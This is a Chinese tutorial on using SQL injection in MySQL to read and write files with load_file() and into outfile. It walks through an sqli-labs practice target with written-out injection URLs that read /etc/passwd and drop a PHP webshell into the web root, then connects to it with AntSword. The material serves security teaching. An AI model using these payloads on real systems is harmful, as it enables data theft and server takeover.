4 读写文件_WEB安全之SQL注入(4)——读写文件

大家好,我是阿里斯,一名IT行业小白。今天为大家分享的内容是利用注入进行文件的读写,这里主要是两个函数,load_file() 和into outfile 希望能帮助小白,也能帮助已经遗忘的你。

load_file()和into outfile使用前提

  • 有读/写权限

  • 有绝对路径

  • secure_file_priv 的值不为null

  • 注入时需要能够使用select语句

  • 引号能否使用

数据库测试

使用load_file读取D盘的3.txt文件

4 读写文件_WEB安全之SQL注入(4)——读写文件_第1张图片

使用into outfile 写入文件4.txt到D盘

4 读写文件_WEB安全之SQL注入(4)——读写文件_第2张图片

那么为什么我能使用这俩个函数呢?因为我在配置文件中设置了secure_file_priv ,如果你想在本地测试,加入该选项后注意重启mysql服务

4 读写文件_WEB安全之SQL注入(4)——读写文件_第3张图片

线上靶机测试

load_file()

测试注入点 | 经过测试存在字符型注入

http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' and 1=1--+

判断查询字段数

http://www.anantest.com:8080/sqlilabs/Less-1/?id=1' order by 3 --+

4 读写文件_WEB安全之SQL注入(4)——读写文件_第4张图片

判断显示位

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,2,3 --+

4 读写文件_WEB安全之SQL注入(4)——读写文件_第5张图片

进行文件读取 

因为系统时centos,所以可以试试/etc/passwd文件,成功读取到配置文件

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,load_file('/etc/passwd'),3 --+

4 读写文件_WEB安全之SQL注入(4)——读写文件_第6张图片

into ouftile写内容

直接利用上面测试的结果使用into outfile进行测试

第一次写入时,页面会回显错误,其实已经写入成功,可以使用菜刀或者蚁剑连接一下试试

http://www.anantest.com:8080/sqlilabs/Less-1/?id=-1' union select 1,(''),3  into outfile "/var/www/html/ma.php"--+

蚁剑连接刚刚写入的一句话木马

4 读写文件_WEB安全之SQL注入(4)——读写文件_第7张图片

成功控制测试机

4 读写文件_WEB安全之SQL注入(4)——读写文件_第8张图片

4 读写文件_WEB安全之SQL注入(4)——读写文件_第9张图片

你可能感兴趣的:(4,读写文件)